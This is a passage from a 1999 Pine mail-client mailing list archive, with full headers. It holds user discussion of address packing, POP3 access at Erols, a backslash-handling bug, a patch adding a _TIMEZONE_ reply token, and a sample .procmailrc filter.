.pinerc. c -- Clifford Green Internet - green@umdnj.edu Academic Computing Services voice - 732-235-5250 UMDNJ-IST fax - 732-235-5252 I.R.S.: We've got what it takes to take what you've got. From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Fri, 5 Feb 1999 15:16:15 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id PAA14148 for ; Fri, 5 Feb 1999 15:16:14 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id PAA25158; Fri, 5 Feb 1999 15:16:12 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id PAA26739; Fri, 5 Feb 1999 15:14:08 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id PAA31826 for ; Fri, 5 Feb 1999 15:11:37 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxu3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id PAA27712 for ; Fri, 5 Feb 1999 15:11:37 -0800 (PST) Received: from localhost (hubert@localhost) by shiva1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id PAA01414; Fri, 5 Feb 1999 15:11:30 -0800 Message-Id: Date: Fri, 5 Feb 1999 15:11:29 -0800 (PST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Steve Hubert To: Pine Discussion Forum Subject: Re: PATCH: Packing the addresses In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: "Denis N. Antonioli" X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Pine 4.10 already does pack more than one address per line. Versions 4.00-4.02 did the one address per line thing, but since 4.03 we've gone back to multiple addresses per line. -- Steve Hubert Networks and Distributed Computing, Univ. of Washington, Seattle On Fri, 5 Feb 1999, Denis N. Antonioli wrote: > -----BEGIN PGP SIGNED MESSAGE----- > > Hi, > > I've submitted once a patch to pack more than one address on a line when > displaying e-mails with pine 4. Here it is again, adapted to version > 4.10. > > This patch adds a new configuration option, 'pack-address-headers', to > the section [ Advanced User Preferences ] of the setup. > > when the option is unset, pine writes one address pro line, > when the option is set, pine packs as many addresses as possible > pro line. > > Greetings, > dna > > - -- > The key is the software industry, which employs many highly educated, > well-paid workers to (a) design software and then (b) try to figure > out how come it doesn't work. > -- Dave Barry, "Cue Alan Greenspan" > > -----BEGIN PGP SIGNATURE----- > Version: 2.6.3ia > Charset: latin1 > > iQCVAwUBNrrBmn7lXFr6ofWlAQGTgQQAoxZ9SIAADcD+5dT7vNdSyPHd/5J3MV1O > wL2dU5PVcdDtBPjLplUa6dhCahE0Hxv0pBcLXasUO5IqdBXCzHWrykDn2DnHiXTD > WmYqvDtbDnO9C7IqdHbPksYw7jA7JzNSSAVxMmp9OlqQUxVzDqOowSlS8o9YXmlU > xgFholr//uU= > =DBmN > -----END PGP SIGNATURE----- > From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Fri, 5 Feb 1999 17:02:08 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id RAA15552 for ; Fri, 5 Feb 1999 17:02:07 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id RAA27710; Fri, 5 Feb 1999 17:02:04 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id QAA13614; Fri, 5 Feb 1999 16:54:56 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id QAA18820 for ; Fri, 5 Feb 1999 16:44:11 -0800 Received: from webster (webster.vetri.com [198.153.135.140]) by mxu3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id QAA07987 for ; Fri, 5 Feb 1999 16:44:10 -0800 (PST) Received: from spike by webster (SMI-8.6/SMI-SVR4) id TAA11377; Fri, 5 Feb 1999 19:47:43 -0500 Message-Id: Date: Fri, 5 Feb 1999 19:47:50 -0500 (EST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Shawn Jeffries To: Pine Discussion Forum Subject: Re: PATCH: Packing the addresses In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Sender: ujefsh81@spike X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Steve, I think the consensus is to make it a user option, if its at all possible. -- Shawn Jeffries ujefsh81@vetri.com On Fri, 5 Feb 1999, Steve Hubert wrote: >Pine 4.10 already does pack more than one address per line. Versions >4.00-4.02 did the one address per line thing, but since 4.03 we've gone >back to multiple addresses per line. > > From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Fri, 5 Feb 1999 17:07:46 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id RAA15616 for ; Fri, 5 Feb 1999 17:07:45 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id RAA16788; Fri, 5 Feb 1999 17:07:43 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id RAA20176; Fri, 5 Feb 1999 17:03:28 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id QAA14620 for ; Fri, 5 Feb 1999 16:46:19 -0800 Received: from luomat.peak.org (port-3-ts1-gnv.da.fdt.net [209.212.132.162]) by mxu3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id QAA08286 for ; Fri, 5 Feb 1999 16:46:17 -0800 (PST) Received: by luomat.peak.org (8.9.2/8.9.0) id TAA06019 for pine-info@u.washington.edu; Fri, 5 Feb 1999 19:46:14 -0500 (GMT-0500) Message-Id: <199902060046.TAA06019@ocalhost> Date: Fri, 5 Feb 1999 19:46:12 -0500 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Timothy J Luoma To: Pine Discussion Forum Subject: Re: Erols and IMAP (now a pop3 question) In-Reply-To: <0089B6FA4F0DD211AD4E0001FA7E5055B842EC@POISON> References: <0089B6FA4F0DD211AD4E0001FA7E5055B842EC@POISON> Content-Type: text/plain MIME-Version: 1.0 X-To: Pine Discussion Forum X-Image-URL: http://www.peak.org/~luomat/luomat@peak.org.tiff X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Author: George Gallen Date: Fri, 5 Feb 1999 16:01:03 -0500 ID: <0089B6FA4F0DD211AD4E0001FA7E5055B842EC@POISON> > Never mind....spoke with erols, they only allow pop3 > access. Do I need to add anything to my unix system to > allow pine to access mailboxs via pop3? Please refer to item 3.17 in the PINE FAQ http://www.washington.edu/pine/faq/ namely http://www.washington.edu/pine/faq/problems.html#xtocid105792 which should answer this question for you TjL From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Sat, 6 Feb 1999 07:27:20 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id HAA27141 for ; Sat, 6 Feb 1999 07:27:18 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id HAA06044; Sat, 6 Feb 1999 07:27:16 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id HAA28443; Sat, 6 Feb 1999 07:26:10 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id HAA30968 for ; Sat, 6 Feb 1999 07:21:44 -0800 Received: from jasper.somtel.com (jasper.somtel.com [206.139.114.254]) by mxu2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id HAA00694 for ; Sat, 6 Feb 1999 07:21:42 -0800 (PST) Received: from localhost (darren@localhost) by jasper.somtel.com (8.8.8/8.6.12) with ESMTP id KAA01421 for ; Sat, 6 Feb 1999 10:21:37 -0500 (EST) Message-Id: Date: Sat, 6 Feb 1999 10:21:37 -0500 (EST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Darren Henderson To: Pine Discussion Forum Subject: 4.10 combined folders MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Nice to see this feature back:) It would be helpful if the news collection could be excluded from the view. If you are connecting to a news server over a slow link there is an appreciable delay in opening the the combined folder view. ______________________________________________________________________ Darren Henderson darren@jasper.somtel.com Help fight junk e-mail, visit http://www.cauce.org/ ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Sat, 6 Feb 1999 07:30:33 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id HAA27164 for ; Sat, 6 Feb 1999 07:30:32 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id HAA06085; Sat, 6 Feb 1999 07:30:31 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id HAA17794; Sat, 6 Feb 1999 07:29:38 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id HAA16402 for ; Sat, 6 Feb 1999 07:23:55 -0800 Received: from smtpgate.cst.tpsa.pl (smtpgate.cst.tpsa.pl [194.204.152.68]) by mxu4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id HAA14260 for ; Sat, 6 Feb 1999 07:23:54 -0800 (PST) Received: from qrnik.knm.org.pl (ppp2-cst238.warszawa.tpnet.pl [195.116.250.238]) by smtpgate.cst.tpsa.pl (8.6.8.1/SCA-6.6) with ESMTP id PAA12880 for ; Sat, 6 Feb 1999 15:23:29 GMT Received: (from news@localhost) by qrnik.knm.org.pl (8.8.7/8.8.7) id PAA18643 for Pine Discussion Forum ; Sat, 6 Feb 1999 15:46:19 +0100 Message-Id: Date: Sat, 6 Feb 1999 15:46:14 +0100 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: "Marcin 'Qrczak' Kowalczyk" To: Pine Discussion Forum Subject: Bug: detokenizing backslashes Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Thanks for pine 4.10! detoken_src() in pine/reply.c makes multiple passes until nothing changes. It thus gives incorrect results with backslashes: e.g. \\_ is transformed into \_ and then finally into _. While _token_ resolving can be repeated, backslash removing can't. I guess it should be done only once at the end, or I can't use my signature without hacking pine :-) Should I try to make a patch? -- __("< Marcin Kowalczyk * qrczak@knm.org.pl http://kki.net.pl/qrczak/ \__/ GCS/M d- s+:-- a22 C+++>+++$ UL++>++++$ P+++ L++>++++$ E->++ ^^ W++ N+++ o? K? w(---) O? M- V? PS-- PE++ Y? PGP->+ t QRCZAK 5? X- R tv-- b+>++ DI D- G+ e>++++ h! r--%>++ y- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Sat, 6 Feb 1999 08:46:15 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id IAA27627 for ; Sat, 6 Feb 1999 08:46:14 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA06966; Sat, 6 Feb 1999 08:46:12 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id IAA15884; Sat, 6 Feb 1999 08:45:20 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id IAA33816 for ; Sat, 6 Feb 1999 08:40:26 -0800 Received: from george.he.net (george.he.net [165.90.111.2]) by mxu1.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id IAA02496 for ; Sat, 6 Feb 1999 08:40:26 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by george.he.net (8.8.6/8.8.2) with SMTP id IAB07381 for ; Sat, 6 Feb 1999 08:40:23 -0800 Message-Id: Date: Sat, 6 Feb 1999 08:40:22 -0800 (PST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Vanessa Surmonde To: Pine Discussion Forum Subject: Re: Erols and IMAP In-Reply-To: <0089B6FA4F0DD211AD4E0001FA7E5055B842E9@POISON> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Sender: drachen@george.he.net X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN when I worked there, there was no IMAP support for customers..but that was a year ago -- the appropriate mail server is pop.erols.com -- if that doesn't work, then you might try using fetchmail to grab the mail via pop and deposit it on the local unix box, that's what I do these days :) Vinnie P.S. they also used to get real cranky about poeple leaving mail on the server... On Fri, 5 Feb 1999, George Gallen wrote: > We have someone in our group, that wants to access their > email from their erols account using pine (on a unix system). > > Does anyone know if erols has the ability to IMAP access to > their members mail? I tried erols.com as the host, but our > DNS shot that one down. Would the username/password be the > same as thier login username/password? > > We are using pine 4.05. > > > Thanks > George Gallen > ggallen@slackinc.com > > ----------------------------------------------------------------- > For information about this mailing list, and its archives, see: > http://www.washington.edu/pine/pine-info/ > ----------------------------------------------------------------- > -- a safe place for all of the pieces that scatter learn to pretend there's more than love that matters - e saliers Obligatory pathetic website at http://www.ashawna.net From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Sat, 6 Feb 1999 13:09:54 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id NAA20965 for ; Sat, 6 Feb 1999 13:09:53 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA10334; Sat, 6 Feb 1999 13:09:52 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id NAA29592; Sat, 6 Feb 1999 13:08:12 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id NAA33290 for ; Sat, 6 Feb 1999 13:03:53 -0800 Received: from pita.cisco.com (pita.cisco.com [171.71.68.13]) by mxu2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id NAA19574 for ; Sat, 6 Feb 1999 13:03:53 -0800 (PST) Received: from pita.cisco.com (pita.cisco.com [171.71.68.13]) by pita.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.6.5) with ESMTP id NAA25193; Sat, 6 Feb 1999 13:03:10 -0800 (PST) Message-Id: Date: Sat, 6 Feb 1999 13:03:10 -0800 (PST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Dan Wing To: Pine Discussion Forum Subject: Pine 4.10 - added TIMEZONE token In-Reply-To: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="-559023410-758783491-918334930=:24983" Content-ID: X-To: Michael Seibel X-Cc: pine-bugs@cac.washington.edu, Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. ---559023410-758783491-918334930=:24983 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: On Thu, 4 Feb 1999 19:18 -0800, Michael Seibel wrote: > This note is to announce the availability of the Pine Message System > version 4.10. Pine 4.10 is an evolutionary release that introduces a > number of new features, provides options to support old features, and > fixes a number of bugs found in previous releases. Thank you for the new reply-leadin support. I have made a small enhancement to this feature. I added support for a new token, _TIMEZONE_, which I find to be a useful addition to the new reply-leadin feature. For example, my reply-leadin setting is: reply-leadin=On _DAYDATE_ _TIME24_ _TIMEZONE_, _FROM_ wrote: which generates a reply-leadin like at the top of this message: On Thu, 4 Feb 1999 19:18 -0800, Michael Seibel wrote: Diff's are attached to this message. [this is my first contribution to the pine sources - is there a more appropriate mailing list for such contributions?] -Dan Wing dwing@cisco.com ---559023410-758783491-918334930=:24983 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME="reply.diff" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: diff -c output Content-Disposition: ATTACHMENT; FILENAME="reply.diff" KioqIHBpbmU0LjEwLW9yaWdpbmFsL3BpbmUvcmVwbHkuYwlXZWQgSmFuIDI3 IDE0OjMyOjEwIDE5OTkNCi0tLSBwaW5lNC4xMC9waW5lL3JlcGx5LmMJU2F0 IEZlYiAgNiAxMjo0Nzo1NCAxOTk5DQoqKioqKioqKioqKioqKioNCioqKiAy MjA3LDIyMTIgKioqKg0KLS0tIDIyMDcsMjIxNSAtLS0tDQogICAgICAgIGNh c2UgaVllYXI6DQogICAgICAgIGNhc2UgaURhdGU6DQogICAgICAgIGNhc2Ug aUxEYXRlOg0KKyAjaWZkZWYgVElNRVpPTkUNCisgICAgICAgY2FzZSBpVGlt ZXpvbmU6DQorICNlbmRpZg0KICAJaWYoZW52ICYmIGVudi0+ZGF0ZSAmJiBl bnYtPmRhdGVbMF0gJiYgbWF4bGVuID49IDIwKQ0KICAJICBkYXRlX3N0cihl bnYtPmRhdGUsIHR5cGUsIDEsIGJ1Zik7DQogIA0K ---559023410-758783491-918334930=:24983 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME="mailindx.diff" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: diff -c output Content-Disposition: ATTACHMENT; FILENAME="mailindx.diff" KioqIHBpbmU0LjEwLW9yaWdpbmFsL3BpbmUvbWFpbGluZHguYwlUdWUgSmFu IDI2IDE4OjUwOjA0IDE5OTkNCi0tLSBwaW5lNC4xMC9waW5lL21haWxpbmR4 LmMJU2F0IEZlYiAgNiAxMjo1MDoyNyAxOTk5DQoqKioqKioqKioqKioqKioN CioqKiAxODcxLDE4NzYgKioqKg0KLS0tIDE4NzEsMTg3OSAtLS0tDQogICAg ICB7IkNVUkRBVEUiLAkJaUN1ckRhdGUsCUZPUl9JTkRFWHxGT1JfUkVQTFlf SU5UUk98Rk9SX1RFTVBMQVRFfSwNCiAgICAgIHsiQ1VSVElNRTI0IiwJaUN1 clRpbWUyNCwJRk9SX0lOREVYfEZPUl9SRVBMWV9JTlRST3xGT1JfVEVNUExB VEV9LA0KICAgICAgeyJDVVJUSU1FMTIiLAlpQ3VyVGltZTEyLAlGT1JfSU5E RVh8Rk9SX1JFUExZX0lOVFJPfEZPUl9URU1QTEFURX0sDQorICNpZmRlZiBU SU1FWk9ORQ0KKyAgICAgeyJUSU1FWk9ORSIsICAgICAgICBpVGltZXpvbmUs ICAgICAgRk9SX1JFUExZX0lOVFJPfEZPUl9URU1QTEFURX0sDQorICNlbmRp Zg0KICAgICAge05VTEwsCQlpTm90aGluZywJRk9SX05PVEhJTkd9DQogIH07 DQogIA0KKioqKioqKioqKioqKioqDQoqKiogMzMxNiwzMzIxICoqKioNCi0t LSAzMzE5LDMzMjcgLS0tLQ0KICAgICAgICBjYXNlIGlDdXJEYXRlOg0KICAg ICAgICBjYXNlIGlDdXJUaW1lMjQ6DQogICAgICAgIGNhc2UgaUN1clRpbWUx MjoNCisgI2lmZGVmIFRJTUVaT05FDQorICAgICAgIGNhc2UgaVRpbWV6b25l Og0KKyAjZW5kaWYNCiAgCWJyZWFrOw0KICAgICAgDQogICAgICAgIGRlZmF1 bHQ6DQoqKioqKioqKioqKioqKioNCioqKiAzNDEzLDM0MTggKioqKg0KLS0t IDM0MTksMzQzMSAtLS0tDQogICAgICB9DQogIA0KICAgICAgc3dpdGNoKHR5 cGUpew0KKyAjaWZkZWYgVElNRVpPTkUNCisgICAgICAgY2FzZSBpVGltZXpv bmU6DQorICAgICAgICAgc3ByaW50ZihzdHIsICIlKzAzZCUwMmQiLA0KKyAg ICAgICAgICAgICAgIGQuaG91cnNfb2ZmX2dtdCwNCisgICAgICAgICAgICAg ICBkLm1pbl9vZmZfZ210KTsNCisgICAgICAgICBicmVhazsNCisgI2VuZGlm DQogICAgICAgIGNhc2UgaVJEYXRlOg0KICAJc3ByaW50ZihzdHIsICIlcyVz JXMgJXMgJXMiLA0KICAJCShkLndrZGF5ICE9IC0xKSA/IHdlZWtfYWJicmV2 KGQud2tkYXkpIDogIiIsDQo= ---559023410-758783491-918334930=:24983-- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Sun, 7 Feb 1999 20:11:08 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id UAA14972 for ; Sun, 7 Feb 1999 20:11:07 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id UAA23259; Sun, 7 Feb 1999 20:11:05 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id UAA21641; Sun, 7 Feb 1999 20:08:10 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id UAA24644 for ; Sun, 7 Feb 1999 20:04:27 -0800 Received: from hotmail.com (wya-lfd115.hotmail.com [207.82.252.179]) by mxu4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id UAA03840 for ; Sun, 7 Feb 1999 20:04:27 -0800 (PST) Received: (qmail 2331 invoked by uid 0); 8 Feb 1999 03:48:49 -0000 Received: from 202.141.24.2 by www.hotmail.com with HTTP; Sun, 07 Feb 1999 19:48:48 PST Message-Id: <19990208034849.2330.qmail@hotmail.com> Date: Sun, 07 Feb 1999 19:48:48 PST Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: "Krishnakumar Subramanian" To: Pine Discussion Forum Subject: procmailrc Mime-Version: 1.0 Content-Type: text/plain X-Originating-IP: [202.141.24.2] X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Can anyone help me with getting a default procmailrc file or help me in writing one on my own. I get a lot of mails and have difficulty sorting them with pine. I am looking for a way to send mail with specific address to a specific folder on arrival. Also I would like to send all read mails to specific folders. I am aware that there is help in pine itself, but I am not able to configure it properly. Thanking you in advance, S Krishnakumar ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Sun, 7 Feb 1999 20:41:32 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id UAA14747 for ; Sun, 7 Feb 1999 20:41:31 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id UAA01547; Sun, 7 Feb 1999 20:41:29 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id UAA00453; Sun, 7 Feb 1999 20:39:10 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id UAA14572 for ; Sun, 7 Feb 1999 20:36:55 -0800 Received: from kens.com (kens.com [209.70.169.2]) by mxu4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id UAA06354 for ; Sun, 7 Feb 1999 20:36:55 -0800 (PST) Received: from kens.com (kens.com [209.70.169.2]) by kens.com (8.9.2/8.9.2-mod-for-majordomo) with ESMTP id XAA05141; Sun, 7 Feb 1999 23:36:58 -0500 (EST) Message-Id: Date: Sun, 7 Feb 1999 23:36:58 -0500 (EST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Ken Woods To: Pine Discussion Forum Subject: Re: procmailrc In-Reply-To: <19990208034849.2330.qmail@hotmail.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Krishnakumar Subramanian X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN (those of you on cmp should recognize this...) o This is a procmail file, or recipe. o This is how to filter mail. o You put this file in your home directory. o This is used to filter email. o This file is called ".procmailrc" o One could use this to filter email. o Do not use the "'s o Filtering email is the art of putting things in different places for the ease of reading them. o This is from one of my machines. You cannot simply cut and past everything from my machine to yours and expect it to work. o People use things JUST LIKE THIS ONE to filter email. o You have to do some research on YOUR system to make this work correctly on YOUR system. The dotted line is not included in the file. Remove the dotted line. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - PATH=$HOME/bin:/usr/bin:/usr/ucb:/bin:/opt/local/bin:. MAILDIR=/where/you/want/your/mail/stored DEFAULT=/where/incoming/mail/is/stored LOGFILE=/home/username/logfile :0: * ^From:.*nameofperson@their.isp.com /home/kwoods/mail/nameoffolderwhereyouwanttheirmailtogo :0: * ^From:.*somebodythat@you.do.not.want.to.get.mail.from.com /dev/null - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Press the delete key until there are no more "-" in the line above. Again, remove the dotted line. Set MAILDIR to wherever your want your mail stored. You CAN _NOT_ use the ~username/mail syntax. The full path MUST be spelled out, ie, /home/kwoods/mail Set DEFAULT to wherever the incoming mail is stored. most likely, /var/mail/username, or /var/spool/mail/username The LOGFILE is a log, or record, of what procmail is doing with the mail. Useful for troubleshooting. Again, spell out the full path. This file will get VERY BIG, VERY quickly. Remember to delete is every once in a while. Now, if you've gotten this far, and you still need help, go to http:///www.r-t-f-m.com I've helped you as much as I can. -- Ken Woods kwoods@kens.com On Sun, 7 Feb 1999, Krishnakumar Subramanian wrote: > Can anyone help me with getting a default procmailrc file or help me in > writing one on my own. I get a lot of mails and have difficulty sorting > them with pine. > I am looking for a way to send mail with specific address to a specific > folder on arrival. Also I would like to send all read mails to specific > folders. I am aware that there is help in pine itself, but I am not able > to configure it properly. > Thanking you in advance, > S Krishnakumar > > ______________________________________________________ > Get Your Private, Free Email at http://www.hotmail.com > > 